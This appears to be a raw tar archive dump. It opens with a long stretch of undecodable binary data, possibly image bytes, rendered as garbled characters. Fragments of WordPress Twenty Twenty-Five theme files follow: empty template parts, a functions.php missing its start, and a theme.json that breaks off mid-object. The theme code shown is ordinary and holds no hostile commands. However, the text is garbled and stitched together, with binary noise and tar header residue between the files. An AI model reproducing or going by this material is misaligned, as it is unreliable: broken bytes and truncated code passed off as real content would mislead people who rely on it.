)kAxxH挖YMaMk5K[ZG9?.61*$LҺow䘬/*$R88V6ctt2;qǘMDЌ X[Aо){xPG3fzO8ANΒ]/}\u: +Y8gn^st9Ǐ9hFo1t(mc.0o=ҧV@lPT ;Ɔ4dm"(kOB<|;g}~cX6dhcNZeE2[0!/׭[ ,JLA..lۛ6m\_zg&F%`UJ#kжR|9g "X$mPՕKggȪ^SێlH`އa }zuEWGgX#$ " T&RN޽춾=91޽{L;s۳p䭘zޏ |\1U_:trϞ=󩱂PO[NT큭jL?^@6* R)W^UsYs͡FtchrBcnL$Xhb5 l&6KzFVY DJ4:j@XLDÞrˣcbRߩ`jNF)ܿ*C⇿H A,L*y WUuE.aYKNvҥz7|YMb䛬!Z4bJHSҭԑTPMu">pPjrb>;wxjr0ARi PSF8cF; Xƨ  Ж ]y/AAAjPY~AAdhAAA    aAAA0   [F h|kFW^{YDv%Ջ}gּD#9!6gZB.7З*Xq񁻗OpGkpA~>g|9P{|)U;K0Akj0.'!Y=s,￿,Ya?c8~Y)A[T)p14̡ƍ4?}*Mf{9MwfǏ;v >lEM_|1%GڕS _:C0Akh0~G%Jr^`e e%W1[jsĉԇi7o\<]QͼN|M}мtBK`=UjuAd0]_PYD1nٲՔ,chA !8+eia,2oc15ͪ-z8%t5iwSDgI^c@1(DqÔԠ_2kL$y*r C$.9eoN.$P'1H-SS0Z#7(FvV&=(; ֩my!뢎2㪲"[qL^\SsWv6qJ| $ZE0vWb#ۆ6.gKRcFo-rHت(?K^ T ΀R2 5 ar>,d6bB#σ=!?B5]Aܺ%ٳj&հ&f6My4zY7Lm`zJ[xӦasYU0ņp[@l=)sgl . Ysu(zE5,n4Al6 U?< 5&[%S8kjC{csֽ6mKh8IءP/p7~-d@el h1<e^ӂg},ʯH3t{sU."nVp eEח0 5`-Q9AyL+ 5?s.KRPs멁5͕u˹F@ 2$"hx%P!$-;~JhtUѩ*DۂcQ+h4fpe[M4#y޽HԸpjT9?G'Ղ yYWbFP0Н"~"ƫJi/}%&=p}j#SS>=t+2$* : Ct"6o=?j l"+E) UUV HAAįj\8u2ԜQDx2x]HRDXW1d^=rQTrי1~zZoT ` ҷ|qqaE`  jGJg)iu;j;wKKWuKrwȱ4Ca222qh%>WhӍa[ HŏK5>h&UX%j,7x|[BuW N=uƫbY,`վe4@ e] r3&ڠ5&˧ݣκIJ{ċ*GMAbxzrf\j+AE2CIΗ4Mfx~)YhP7G3hjbGYXkiYk/ ;E:Ԇg^\Wev>jdVOVI~jTO^,{ŃTB .tBHE UBA$,Q8$5$N02*LCu VEؔEt\$BRJ[ɡ% .k&5==4N FB^U\Xp7SS7!kj!si6J}M^ !aʘZ,ԯ54t?+GGfE>(Qj 12aIYAPwlݻ[(駟Ȅ44ŋ/ |ט0ݵkW#2;wdΘ'O0ԩSιExws_װ"T@<{m/ 2CCcZ~mM&PsuI`(3EB2 1d&4MYژƏh@;e$ <ӄSiqn㘬$; Ew˃$ ??Uw+G=] 9woZ$̗_~iʜ>$TH#% u-9eIJ[%+OwbGo1_xIkͅ2.a(7C a%xz7BБc 5)Ӡ|O44,:A+_A v<D-=koȴ$g?̰%2W(Ay0@OiMʐǁ   aKa3vjl٢ ΋̒  e4&   aAAA𲶌AAA)   A=^9tWQ&?]&@+%RLq"wCHw'}Q!YYd`ܭ<$.ƒ A$.ɔ_5(wʢ*aÆqt/\)S۷﫯M/a|͂p'2q KNGD]bFsN$: *M[[nZ~T+`wBIB>/|9O>YN|`z*վYLPs-9  +Af߲,G|G=/{+NS7 r :4 2hcLVu U` zK(g9녈$K0z2x DtJDꪠg1 \X G;8ya7߂Hul'J$)`[1 #3RnL t-463exp8bjWJe&,u<BDѢ27/Ei' HSʪIdeuha Z9$0L̝#7Y7T5}Y;=X=IfTDIYxVRA,ݻwׯ_Ǐ?})ڱcm-"t+WW' S|9"<1`ѩ\,K)+ 4sIBh "ˀbǒtVӣ5юx(%32Ԭf:Dhx$LĂɘFA,<`Ґ0@_YV :Ї#gA BJt?d"S12~V0.]0׸j}dG.#a~I" j~jUVLV;&w!3E:ptw p &vLVJȖT#!,}ä܏`fV/,@?ؐ9gtIjF)A4XaN:iB R9nSkv#ɱ ;eAH*չ1f^ + AEMTTR,e>Hlℵ+JA؍Ń 68E61ɇ&"4+# \IQ :V/yTmwAXO:[ո2GkگÖ,`TeS2i%:w,c!m }*;s(T*R/CX+Ybł78q;>| tV [eksa좴TՆŞ1=r)8e`H,`Hȶg##T2vB5ʝU3v> o7^W[U13G`Qt.`hg^`T֭8d|:\-G:ꘚ#]СCuȀÇ+< `w: n z%-<5ABTp?ŵ[ l&a),x5*ZO2M ؊M T&o;TGƪ9ݻICљS.9UT`=JoZyDuS,j$r@gmNAWBʒ޽{w:{d.jmtlX%AG2pk˕ƒYWⲭZQRmYH_Un*J 1~PJ}?X̹P \P=n)VǹȬAxծO`=$LքjF? aKђ(+|ri`^Ԅ'H$ /H!J"[u=vX\v_i4}к ^GE!קhLZ|VrP+faxurASd:%ZMD/sC JZ46$Rg  Nݹsǂݸqc:VT8xE갇ިRPn ӡ06Rl# o ?={]4Ld΄GP)r$~Τ> ԯb:lU*_.6l=n;!6;FC@00C-f誃hӗXF=kGc|G IJ_xcI֚޴#m}ĀEi?E{} c0ݥLf ]jzd(fV0a HwtT^wu^ݩPs,wÆ2DTWґW3 +A̶ lF徤;<+î]F6 YHhVCNb| 8fu饌8zY͟0Bv]KE`@*X{LZC)*H( Hq8p4l;w۪wBՑmUS ^ ,cgք%ǵ j1;/ ˿5X-]0O"vVD6^UdüScK?^!/10Jߡ !],j0r)CHF$0Veq *EEc7,¸즟'ķFf]gn-zx3!wgΜYA'*^p ҠK.ڻw/͓'OLvum۶9&x~0Rƍi9 dKۦdZSο3?TpuAK:u-!aH ~׷zD_ʊB2"e1+`tbTwYAa,\ʞŬϟK:ycNyyovMDbΝh-Bx\sJnІMiX BO9Z̘`@HxY"a A\=VݦTFbwķZ"`4{_5H)  _"nq=Baw%$DRɷW1_ӗtlIUsA!8%JC:=޽*y'VRb`jRaZᤖ[PM 3Az-D z,y[ HAj@rǓ5mO d+A l   BAAA   RAAA) oJ~oo~ }m"78zyщ:W~vl_'s--1wH2KS[b`|t5$Wg HA_e["+aMfHר?~|1>?`ƒ%2fp!ޚVݰaQaUX.oMTpUc^9X;L@(_UVt{0&/ٝ--7 Hpo޼>H^ΗV _'] j?Qw9BzA z݃ߛY/kYJ13so`A?)JK=$4̥ VZU^SΥz}Voֲv25NtډǬ+ )FT@)GZڢ)ا 0~)E$`St3נAjY\t)kpϺMd^5SV1c5QRJfQ,!xW#Dz3),;@a;}w8 g g4tso|jG?W5 رcݻwi?x`Ϟ=}͛7>}=zS딦_|QaE0gim? , u Ƹ6E0ʕ+>%^ɔ'Oo0fQ~ :j.12H% 2pJ:w2Eą" ~Qk3XRzMu[LdXUPվ|2) a]dmñ#KTV:D6bF3EAz) <55h`T; ĠhQP/;^;*h|=ҩ+E!dUǹEwaR`(脲XwwTF)·ì;w2R 9TTذ""^*#}6lΰт X Xad<αZ߼k%Pv!$d:TȀj.xNuYR H: ֈ@ՑC%mЬ;mr-ɬSlyTTذj{Ue^ArzNma] `GTSSr+\ .E:yC(~PPÉII wvVm15hXjUqA8w,*ޜd"9h|=Zcl{k -KFkg|2v R9-k5 QKAXUz7*.P,vF0Ag ؿh'7x_~ H2p~Sl3"&+սUj?~]O6: Yhى'pShVtPiJgٳ>g~"Թ__ yZ F݃v۷ogpuшTAAӔ@זm<|PAٳA83IHD'NLbm۷o+MU"zgyWW\gXz bad$0=: To"90S+bǐ)/̂2@q nN5.u3э˧N\; Tg 5x"^6B mX[BC x˺ |)b%kC)A! `5d4DpqѨ`HJyn}Ԝƻヒ0 '~,9HˇN&[/U0tVI߻wlgEUP5)&.F굱#x&fCzB x\z}wt-758C@No*kbM^K cA13^R~s <NEͣ f'ԅ |b5^ɂJD@_BT,4wͭA2*|F߹sgP@(8qD)HEx9wpҥK-k;A4*wt4m?Ek?S:I0`Vij?"m 鬹ś>uƍx TpJ xc8fG<.FHKL盩wt^<kPLKf;{|,jYY@?SfDlP }57x="ӵ.j]2Y`^A V*ʎQA*@ْRLJC'T}PY3,AUCHP*Qp]?̅+QʴPlh@0Xɷ#!eɖ;ƪﰪwYȱx3+8*2حdlv&YlOy)(FSAĖX enֽfvp jhk2rînVc]b$no"˸Mf+3@{xv;vAz)\,]Ԏ7OYhA xkK3y)L$O'BT 81J!~'r:Q*S/ŋ˚u _ةgun3 :#L M}D.>B~n^ Vؕip.#[TGTOd 5$s&EMŽJa Y/F1Rks7נ8=V /0ޔRY^Bۅ q:v׈C'&Y&x|RjzSw O} xVQsl ~w̙U^zQkF~SN֭7nlii;a;w$aL=T^HsUO9g bf<>oFtML9m۶_vwʼjAy,IO[oѶ;#xng7dq>/^@ŋlrM[\$9{Nja LE[+/?*Ogu&jsI(dR\ wґhaK*NQa( I#whifm$ϊ][c.甭H #n05),)ov1<0Qw=Dϟ3:],G0dE\G r{8I.*jgCݠH}о5ܠ8K'Ud0Oۻ1Vc<@. ic *]~A#XrAx':H`A;(O-Z^ezqC`ARׄт 3Abw?-A ?1F\ތA! զNkAmR讵C e4@$  HAAAA    aAAA0 |'Wv{ʼ^m^˜1^9۳f %|MkzY ^{^7 FX H6c0/>YD?$>Ik"M,ͪ)v; RA@cǎ T.gTi,.\0k9t>(۲JUYb4mذa9wͻ92\P.qAH ݸqco%@,ׅ.WX#SOAANA0{:y⥉?+-#ab"T~awRe1Hl:% f\oD0uj"|hdUwJTB$qHm˶>D0V( k=+{v#q] fAGtvYf ^(5P Li +ѥ !~\:ۅaQFYfmo=;v7±jdTȑ$  x]HXCL Egn8u@AlR/:ņ 2wqi˛7o~Nٳʕ+4>})e adp[MkAjx3 `A3r)T{PPb$%NH6/5m<5gLw-[>*gjkîhtiF֎̲l5Za@Ӊrw|[-zGuz*Oz !Q=Ke(ɋEg'Ek4FY*lJW:@l "Kڪ!C_1LpUH_aLZ!Sグ=jZo08䬄GN Ǡ d BmzsH$gwxE*01yoD|7{talZi꼫uesEOӼenC m 4v05 T3U%3]SByW\>{ wt^|r!3'N@G<|}lj䘗;Rt,}6o-;<':1`o*ŎCd#bXs y /,C+XIN2xI H<,M5o)jڊ"Ok_}1.%6àZse#ف~Qq/ / G}:9= Ƚ{o̠lb3mQHϗFͨYЮ1x*,wVXj :IGŬJjΎWB)~:y6mdvwQɪEYB,/Cu/{Ι# spDg fgUk(e82ĉ O1O`0qlI@9ï <"<A0]V-`|M2Y8P5.[;c=q]mU$V&\hj\i]VZײ mQڮ*e ^c LT-T:gpdڵk DӔXѣGRU5dv}s7\f7kE W"cSP ?]+U/eCW_ {WxR#5>I'F F Aq֔ etكlue} u}i4lyIvhGDyWOƅ+^4P[3UDJGys/7%;o>ѿs㲕հ"4e/eKC_Wlzc>Q"S@*9A{6Zo.FPKA s0PIw55еZƤ]L^$͈DQH M. dN$P?q=ة!~ Dkq2 *C\6pȦ>̻I_oS7+h4zh$P/vN@v !67ژwdg;8eGN C]@lBm1  'q8iy[-Ť/kkK_{8~CJ ziY94y6Xͷ}" q4јH=3\yȵZvotK!hVb̵+ʑ Y;?VS"TL 9تQ&(!9 cQnx"OQ¤6 hDash57h<K4ţL5ߐ8>;T HV$3nqnON(5a*q ')+ɗC68z6IT,ڃ,F=^,sl4Dp3Q;(]] \S  IR_WGhFBh4~my'4Aؿ7%6ܭZ0%#+8>F!l4 e~ !y@5orsF'|h46p`}qv`>OH=i#F$#K<_񵓍N}B;jhwFc%:xUFh4NFh4FGFFh4F ah4Fh4:!l4~Ԙ/j⑶C{1x'}-I?J~jEurfz捉E^KɏmRMojb nF aȇ }w[Y?my ~Ν{urfzͷQ#McB xKR_,ӳgϞ>}z1*)re.?~L+5#}iٳv`SO0 "?޽{PEj$bA2 ޘ6An u (j"BY.Zd۷VC!tKҩsI7 G"FPN(5nd#{t!h#4Q?`d],Eϓ }bG `uwld"9 @&0u:_~}^csT]>iAĩHmSg.K`ȈGS@îFB*e у?ЙhNAg5S!ybTUh#}6z"ya>N NOng/'MȖd?9WN,a蔵,07P!5 Q|"Pօҳ~\}PxߩQu1gjt/TUd NaQP^H1J$@Ν÷q2 y7BL>%@IF,5i o՗Ʋ}QƲ.۫F'F(8.7RXdJ'fHO9jj/CÇ.6vz?A(h~駌ol'G$w*E6݈e 8kXFYŮ DwoR۟d&7_kWޛi]&7.MIC|녖Q /΀srɝ: 7ABLn#ZF{!fVݶK2g]]C脰MBv{=ҏ?h/_Ѥkl@f;8kc\ A0w"T[NEo޼],k4F(\5mH60~ndAh5׀ݏ!rŲ7&@%`v {8+|bȻ7h"fDK6uKva}Jľk׭Ryk׮%f8:|M]PCY#noez{tWY4~h ^!@4">\? M0>?W\|Sk Ϙ% MqCnLQOx qVy8'j75~N4LKno~XS2*쑗 [sQX|7?zܚ@S#O}|&®ص0br<Rmx|@hMRolWA"#A3!'v5\Y,yF6 y^11C7w E-{߫FFh,<uh`0m?h4F?Ch4CX-;lg|M6n4F;F8 <x )ּ6z{Bh4:!l4FYFh4:!l4Fh4F?Ch4Fh46Fh4FF펻i|jv&|UKboM:?iQu ^?B8pC,7wrkmC脰htB Ə}?]^IǏQ裏/pI_ю~SY2|ԩS]~»!!h4gaF?;?^/y|;ɓ<_^W/;ל޽{QRA\ \ }Lh4Ch4@Vf_Ω9곃O'/&vr&/ȥi֚:0u gY er1QR2st]BC|zF1* &%VO=n˕ &b8<jHZ{f.zfts=jga\.ØRA`@6.wB]zoZMC=pWY]#5GF~!gϮ_%4QII!D{1ǎ;{l@… ._LK*/^HTr@$Eo!%Mf퐂 p%t`7n(X* ?sL&ta{)@ &Kʡ<2jRF:15F Y(&8G0i+(DzF:\Lzf.أe֧VR9|\$ YxVC^ ;jHDVX\R49p8 3\2rQO=,^ .0 W^Q(wq:P΁C(,,{( Cwh/SNFFqh脰8 a;DQ,n̬B&0nˌFiJH*,=fwaL@+PjM @Ud"9DA@?%D06 Qch~&&g2w8ZP^[ު=`7zE25(,ĸ!TW3vyB^pV|UIKp9)ً&&A]GόQB.9LӔNjτZ]\oul.tqHHjzB޶Ӊ'RxҙSҹ>u9YQÛ]|ЄBߓ7Ǵ0윳7@gUI*d0q?InuҪ7/'Mf8_NoI:sYIOGbi@M=lg(>]?>yD w$.t:"|P6Ud$8z-(xqCLZP>[ Uh..3\ۍ @\:.]ձk9CbwAr ~%ŨisRأ:R&3[ ]Sv/ |rh4RFD\#iR=©7ot]t)|tFk&~ L7PU"L޹s2 ZEuҪDB"NxOIVojh2lӇ`/`K{֣슳 l}Cmgjtj6[=Ǧ}("?GR؂u Mպ򿨗ɪinI]>wPү\L(P{T& j˔E#^B۫WF aXShkA4C2FM ;/wPAݐ-/ ym TueADUI^>A6m+1&r=TnsD0kO5DH]Fd,q[RIS`T5Ӡ^ i"ƩH])6:ؘ&PMF.Z0Y8pBfzS-+[ezϙw5u]C# \+OF2htB(M'#o-_Y;M8w'} ,8 ewH:#MDut3>#.s ߡj!XX:GD &-DI{Ro\(hEERؚcoG:0Ikv:waSX|소/k&uyqɠU91إ@GOD41k4DArCH=+B!ή!3B9$#x1<{h4zhl=0H" 6#ic,Bg8+ŋؠA[[ĂrN7b;F޸tq'K tC??A-|*/E)R D'(UD6(ݠwv|v%Cmz"{DpE^7<ʨw!!OQק3 1rqxF+Xâ8We }$B`o90ʩ=#cN~F8sex 9i&|FokO6 b9mWGK`WűĢzj)vrIY+3NDuuxUKĚ +Wcin2WCG.yɯ F脰hsbkbɫl`ˈ=.#N /KjBBwZFh3Fڼe Ʒ+><l=gf;x_h4F?Ch4Ϸ71?z<@Z}%=MV<ٿKk-4F8GFFM!/Fh46Fh4F!l4Fh4F'Fh4F8 aexKF0>갋M >cNbfc;7U>wWߒex4-d AF'FA'~(OT wB$d͆Y|"PABx{ńP>oTBPVw^+jyۜ?d!~ߊWc u4h4Fݻ@㏯N8ҙq΃D/FFqTl QcY7O>hTҔӌTZO7wWݦ]C1'71f߬Aš K-[ORD 3N5p8g*&\hŏ~ ó*C9l0\:U3YEIQT5D g.~aPfh▕8ã%ʘWKdk1+8-N(.Eͤg+Cjbiqs*dz`&rDL"*j2=bQ*XyF&cg3*KXr4:WݭJ;y;-q!f mdQBYPrh4{h4>}ZpرgϞQɉ?ŋ^R,?~L9@v@ƍDO 2t^2&$݂8=i!B.A:R!dzBGԏl~3zٳgceGRuv۵(g+YDe5Y<&tE}fI|FUpfϮ-X.!Dɱb#yLq KA@"Sorru^GW>ZR.({HSoƑG'ƻ&`M@9!Qr%2Y VƁfe)T`ĤVjIPu$咞ahmd RR] !D&^.C`:3N1$GULXTWJHG# B iH(C F͐ՌЍQ0NDDZAR İ(,UFCM IrgF*$Оaa4|B\Vb2NmDS4 Ց"! hys6HaGx-ǯw-P8qK*mb^G*}҉I_}o+?`>L9DC5'jQ(L2mb`"9De>SNell|嗪X-3#\ՕlDchU/~<]tQJ,@f}Ql:z&&]VB N}>3RZ0/)Mڣ?[\nqeeRW†KRh4$F1?pB@T '3*(3qxv0ЄH͛<$CB:r%5%S9lƜ;w>arWh -UVXv(\(H\!p= ӧG= P-y5 n^Lir<~))5-t[K=ұAX5xePX>uҵW}U$ .pofT~(To},J]&F'FAF薴ͨ"M9]w!cfDK! 'p!>ծHqxzJƋȞ@%/uGw &0bs e7'=clZ D(vU~IS:4ixH=BIBXYJ^+V_UWPv'ӡ5aH虝/˼Wʚ^+i$s6}跌6aAbO#C;l"d`(;-3@~(d.gjc)_&#F1 IkFQ˂XOm~ 5K٭CPfQ$Ij9RvB*qc]LhRg4N^XPM\#q @Aot@tRRVC2]n,1B >=eZ/)OBїhB@m\k;wn_Se¹ 1w@M#ҚHpHh)F웱@E : $bzHڑIOv%723̮fex<(qV+zP;i1o[zhwuYY//,}>dB#bwH7cKruɠ\,.e<3&Fh2๏AlAo<8n_Bro$.Ndl'qn:╥P3^>8%Fd_ll8cz G^@1X..K۶5&{V1,8MXBx%QW` h)W#`I@3r j6Kf6RCpTbdWa T5wfeD*s0V@}n iLpb#72,0֬y듧Y0‹P6ub@a@.$NYMAx,)Bit7vMP䷽;8%XvuX A<[ P|s6 ðߩZ=nڒRU5M?R̰= themes/twentytwentyfive/parts/footer.html000064400000000070152335264760015037 0ustar00 themes/twentytwentyfive/parts/footer-columns.html000064400000000100152335264760016507 0ustar00 themes/twentytwentyfive/parts/footer-newsletter.html000064400000000103152335264760017226 0ustar00 themes/twentytwentyfive/parts/sidebar.html000064400000000100152335264760015144 0ustar00 themes/twentytwentyfive/parts/vertical-header.html000064400000000101152335264760016573 0ustar00 themes/twentytwentyfive/parts/header-large-title.html000064400000000104152335264760017176 0ustar00 themes/twentytwentyfive/functions.php000064400000010027152335264760014246 0ustar00get( 'Version' ) ); wp_style_add_data( 'twentytwentyfive-style', 'path', get_parent_theme_file_path( $src ) ); } endif; add_action( 'wp_enqueue_scripts', 'twentytwentyfive_enqueue_styles' ); if ( ! function_exists( 'twentytwentyfive_block_styles' ) ) : /** * Registers custom block styles. * * @since Twenty Twenty-Five 1.0 * * @return void */ function twentytwentyfive_block_styles() { register_block_style( 'core/list', array( 'name' => 'checkmark-list', 'label' => __( 'Checkmark', 'twentytwentyfive' ), 'inline_style' => ' ul.is-style-checkmark-list { list-style-type: "\2713"; } ul.is-style-checkmark-list li { padding-inline-start: 1ch; }', ) ); } endif; add_action( 'init', 'twentytwentyfive_block_styles' ); if ( ! function_exists( 'twentytwentyfive_pattern_categories' ) ) : /** * Registers pattern categories. * * @since Twenty Twenty-Five 1.0 * * @return void */ function twentytwentyfive_pattern_categories() { register_block_pattern_category( 'twentytwentyfive_page', array( 'label' => __( 'Pages', 'twentytwentyfive' ), 'description' => __( 'A collection of full page layouts.', 'twentytwentyfive' ), ) ); register_block_pattern_category( 'twentytwentyfive_post-format', array( 'label' => __( 'Post formats', 'twentytwentyfive' ), 'description' => __( 'A collection of post format patterns.', 'twentytwentyfive' ), ) ); } endif; add_action( 'init', 'twentytwentyfive_pattern_categories' ); if ( ! function_exists( 'twentytwentyfive_register_block_bindings' ) ) : /** * Registers the post format block binding source. * * @since Twenty Twenty-Five 1.0 * * @return void */ function twentytwentyfive_register_block_bindings() { register_block_bindings_source( 'twentytwentyfive/format', array( 'label' => _x( 'Post format name', 'Label for the block binding placeholder in the editor', 'twentytwentyfive' ), 'get_value_callback' => 'twentytwentyfive_format_binding', ) ); } endif; add_action( 'init', 'twentytwentyfive_register_block_bindings' ); if ( ! function_exists( 'twentytwentyfive_format_binding' ) ) : /** * Callback function for the post format name block binding source. * * @since Twenty Twenty-Five 1.0 * * @return string|void Post format name, or nothing if the format is 'standard'. */ function twentytwentyfive_format_binding() { $post_format_slug = get_post_format(); if ( $post_format_slug && 'standard' !== $post_format_slug ) { return get_post_format_string( $post_format_slug ); } } endif; themes/twentytwentyfive/theme.json000064400000035010152335264760013521 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "settings": { "appearanceTools": true, "color": { "defaultDuotone": false, "defaultGradients": false, "defaultPalette": false, "palette": [ { "color": "#FFFFFF", "name": "Base", "slug": "base" }, { "color": "#111111", "name": "Contrast", "slug": "contrast" }, { "color": "#FFEE58", "name": "Accent 1", "slug": "accent-1" }, { "color": "#F6CFF4", "name": "Accent 2", "slug": "accent-2" }, { "color": "#503AA8", "name": "Accent 3", "slug": "accent-3" }, { "color": "#686868", "name": "Accent 4", "slug": "accent-4" }, { "color": "#FBFAF3", "name": "Accent 5", "slug": "accent-5" }, { "color": "color-mix(in srgb, currentColor 20%, transparent)", "name": "Accent 6", "slug": "accent-6" } ] }, "layout": { "contentSize": "645px", "wideSize": "1340px" }, "spacing": { "defaultSpacingSizes": false, "spacingSizes": [ { "name": "Tiny", "size": "10px", "slug": "20" }, { "name": "X-Small", "size": "20px", "slug": "30" }, { "name": "Small", "size": "30px", "slug": "40" }, { "name": "Regular", "size": "clamp(30px, 5vw, 50px)", "slug": "50" }, { "name": "Large", "size": "clamp(30px, 7vw, 70px)", "slug": "60" }, { "name": "X-Large", "size": "clamp(50px, 7vw, 90px)", "slug": "70" }, { "name": "XX-Large", "size": "clamp(70px, 10vw, 140px)", "slug": "80" } ], "units": [ "%", "px", "em", "rem", "vh", "vw" ] }, "typography": { "writingMode": true, "defaultFontSizes": false, "fluid": true, "fontSizes": [ { "fluid": false, "name": "Small", "size": "0.875rem", "slug": "small" }, { "fluid": { "max": "1.125rem", "min": "1rem" }, "name": "Medium", "size": "1rem", "slug": "medium" }, { "fluid": { "max": "1.375rem", "min": "1.125rem" }, "name": "Large", "size": "1.38rem", "slug": "large" }, { "fluid": { "max": "2rem", "min": "1.75rem" }, "name": "Extra Large", "size": "1.75rem", "slug": "x-large" }, { "fluid": { "max": "3rem", "min": "2.15rem" }, "name": "Extra Extra Large", "size": "2.15rem", "slug": "xx-large" } ], "fontFamilies": [ { "name": "Manrope", "slug": "manrope", "fontFamily": "Manrope, sans-serif", "fontFace": [ { "src": [ "file:./assets/fonts/manrope/Manrope-VariableFont_wght.woff2" ], "fontWeight": "200 800", "fontStyle": "normal", "fontFamily": "Manrope" } ] }, { "name": "Fira Code", "slug": "fira-code", "fontFamily": "\"Fira Code\", monospace", "fontFace": [ { "src": [ "file:./assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2" ], "fontWeight": "300 700", "fontStyle": "normal", "fontFamily": "\"Fira Code\"" } ] } ] }, "useRootPaddingAwareAlignments": true }, "styles": { "color": { "background": "var:preset|color|base", "text": "var:preset|color|contrast" }, "spacing": { "blockGap": "1.2rem", "padding": { "left": "var:preset|spacing|50", "right": "var:preset|spacing|50" } }, "typography": { "fontFamily": "var:preset|font-family|manrope", "fontSize": "var:preset|font-size|large", "fontWeight": "300", "letterSpacing": "-0.1px", "lineHeight": "1.4" }, "blocks": { "core/avatar": { "border": { "radius": "100px" } }, "core/button": { "variations": { "outline": { "border": { "color": "currentColor", "width": "1px" }, "css": ".wp-block-button__link:not(.has-background):hover {background-color:color-mix(in srgb, var(--wp--preset--color--contrast) 5%, transparent);}", "spacing": { "padding": { "bottom": "calc(1rem - 1px)", "left": "calc(2.25rem - 1px)", "right": "calc(2.25rem - 1px)", "top": "calc(1rem - 1px)" } } } } }, "core/columns": { "spacing": { "blockGap": "var:preset|spacing|50" } }, "core/buttons": { "spacing": { "blockGap": "16px" } }, "core/code": { "typography": { "fontFamily": "var:preset|font-family|fira-code", "fontSize": "var:preset|font-size|medium", "fontWeight": "300" }, "color": { "background": "var:preset|color|accent-5", "text": "var:preset|color|contrast" }, "spacing": { "padding": { "right": "var:preset|spacing|40", "bottom": "var:preset|spacing|40", "left": "var:preset|spacing|40", "top": "var:preset|spacing|40" } } }, "core/comment-author-name": { "color": { "text": "var:preset|color|accent-4" }, "elements": { "link": { "color": { "text": "var:preset|color|accent-4" }, "typography": { "textDecoration": "none" }, ":hover": { "typography": { "textDecoration": "underline" } } } }, "typography": { "fontSize": "var:preset|font-size|small" }, "spacing": { "margin": { "top": "5px", "bottom": "0px" } } }, "core/comment-content": { "typography": { "fontSize": "var:preset|font-size|medium" }, "spacing": { "margin": { "top": "var:preset|spacing|30", "bottom": "var:preset|spacing|30" } } }, "core/comment-date": { "typography": { "fontSize": "var:preset|font-size|small" }, "color": { "text": "var:preset|color|contrast" }, "elements": { "link": { "color": { "text": "var:preset|color|contrast" } } } }, "core/comment-edit-link": { "elements": { "link": { "color": { "text": "var:preset|color|contrast" } } }, "typography": { "fontSize": "var:preset|font-size|small" } }, "core/comment-reply-link": { "elements": { "link": { "color": { "text": "var:preset|color|contrast" } } }, "typography": { "fontSize": "var:preset|font-size|small" } }, "core/post-comments-form": { "css": "& textarea, input:not([type=submit]){border-radius:.25rem; border-color: var(--wp--preset--color--accent-6) !important;} & input[type=checkbox]{margin:0 .2rem 0 0 !important;} & label {font-size: var(--wp--preset--font-size--small); }", "typography": { "fontSize": "var:preset|font-size|medium" }, "spacing": { "padding": { "top": "var:preset|spacing|40", "bottom": "var:preset|spacing|40" } } }, "core/comments-pagination": { "typography": { "fontSize": "var:preset|font-size|medium" }, "spacing": { "margin": { "top": "var:preset|spacing|40", "bottom": "var:preset|spacing|40" } } }, "core/comments-pagination-next": { "typography": { "fontSize": "var:preset|font-size|medium" } }, "core/comments-pagination-numbers": { "typography": { "fontSize": "var:preset|font-size|medium" } }, "core/comments-pagination-previous": { "typography": { "fontSize": "var:preset|font-size|medium" } }, "core/post-date": { "color":{ "text": "var:preset|color|accent-4" }, "elements": { "link": { "color" : { "text": "var:preset|color|accent-4" }, ":hover": { "typography": { "textDecoration": "underline" } }, "typography": { "textDecoration": "none" } } }, "typography": { "fontSize": "var:preset|font-size|small" } }, "core/post-navigation-link": { "typography": { "fontSize": "var:preset|font-size|medium" } }, "core/post-terms": { "css": "& a { white-space: nowrap; }", "typography": { "fontSize": "var:preset|font-size|small", "fontWeight": "600" } }, "core/post-title": { "elements": { "link": { ":hover": { "typography": { "textDecoration": "underline" } }, "typography": { "textDecoration": "none" } } } }, "core/quote": { "border": { "style": "solid", "width": "0 0 0 2px", "color": "currentColor" }, "spacing": { "blockGap": "var:preset|spacing|30", "margin": { "left": "0", "right": "0" }, "padding": { "top": "var:preset|spacing|30", "right": "var:preset|spacing|40", "bottom": "var:preset|spacing|30", "left": "var:preset|spacing|40" } }, "typography": { "fontSize": "var:preset|font-size|large", "fontWeight": "300" }, "elements": { "cite": { "typography": { "fontSize": "var:preset|font-size|small", "fontStyle": "normal", "fontWeight": "300" }, "css": "& sub { font-size: 0.65em }" } }, "css": "&.has-text-align-right { border-width: 0 2px 0 0; } &.has-text-align-center { border-width: 0;border-inline: 0; padding-inline: 0; }", "variations": { "plain": { "border": { "color": "transparent", "style": "none", "width": "0", "radius": "0" }, "spacing": { "padding": { "top": "0", "right": "0", "bottom": "0", "left": "0" } } } } }, "core/pullquote": { "typography": { "fontSize": "var:preset|font-size|xx-large", "fontWeight": "300", "lineHeight": "1.2" }, "elements": { "cite": { "typography": { "fontSize": "var:preset|font-size|small", "fontStyle": "normal" } } }, "spacing": { "padding": { "bottom": "var:preset|spacing|30", "top": "var:preset|spacing|30" } }, "css": "& p:last-of-type {margin-bottom: var(--wp--preset--spacing--30);}" }, "core/query-pagination": { "typography": { "fontSize": "var:preset|font-size|medium", "fontWeight": "500" } }, "core/search": { "css": "& .wp-block-search__input{border-radius:3.125rem;padding-left:1.5625rem;padding-right:1.5625rem;border-color:var(--wp--preset--color--accent-6);}", "typography": { "fontSize": "var:preset|font-size|medium", "lineHeight": "1.6" }, "elements": { "button": { "border": { "radius": "3.125rem" }, "spacing": { "margin": { "left": "1.125rem" } }, ":hover" : { "border": { "color": "transparent" } } } } }, "core/separator": { "border": { "color": "currentColor", "style": "solid", "width": "0 0 1px 0" }, "color": { "text": "var:preset|color|accent-6" }, "variations": { "wide": { "css": " &:not(.alignfull){max-width: var(--wp--style--global--wide-size) !important;}" } } }, "core/site-tagline": { "typography": { "fontSize": "var:preset|font-size|medium" } }, "core/site-title": { "typography": { "fontWeight": "700", "letterSpacing": "-.5px" }, "elements": { "link": { "typography": { "textDecoration": "none" }, ":hover": { "typography": { "textDecoration": "underline" } } } } }, "core/term-description": { "typography": { "fontSize": "var:preset|font-size|medium" } }, "core/navigation": { "typography": { "fontSize": "var:preset|font-size|medium" }, "elements": { "link": { ":hover": { "typography": { "textDecoration": "underline" } }, "typography": { "textDecoration": "none" } } } }, "core/list": { "css": "& li{margin-top: 0.5rem;}" } }, "elements": { "button": { "color": { "background": "var:preset|color|contrast", "text": "var:preset|color|base" }, ":focus": { "outline": { "color": "var:preset|color|accent-4", "offset": "2px" } 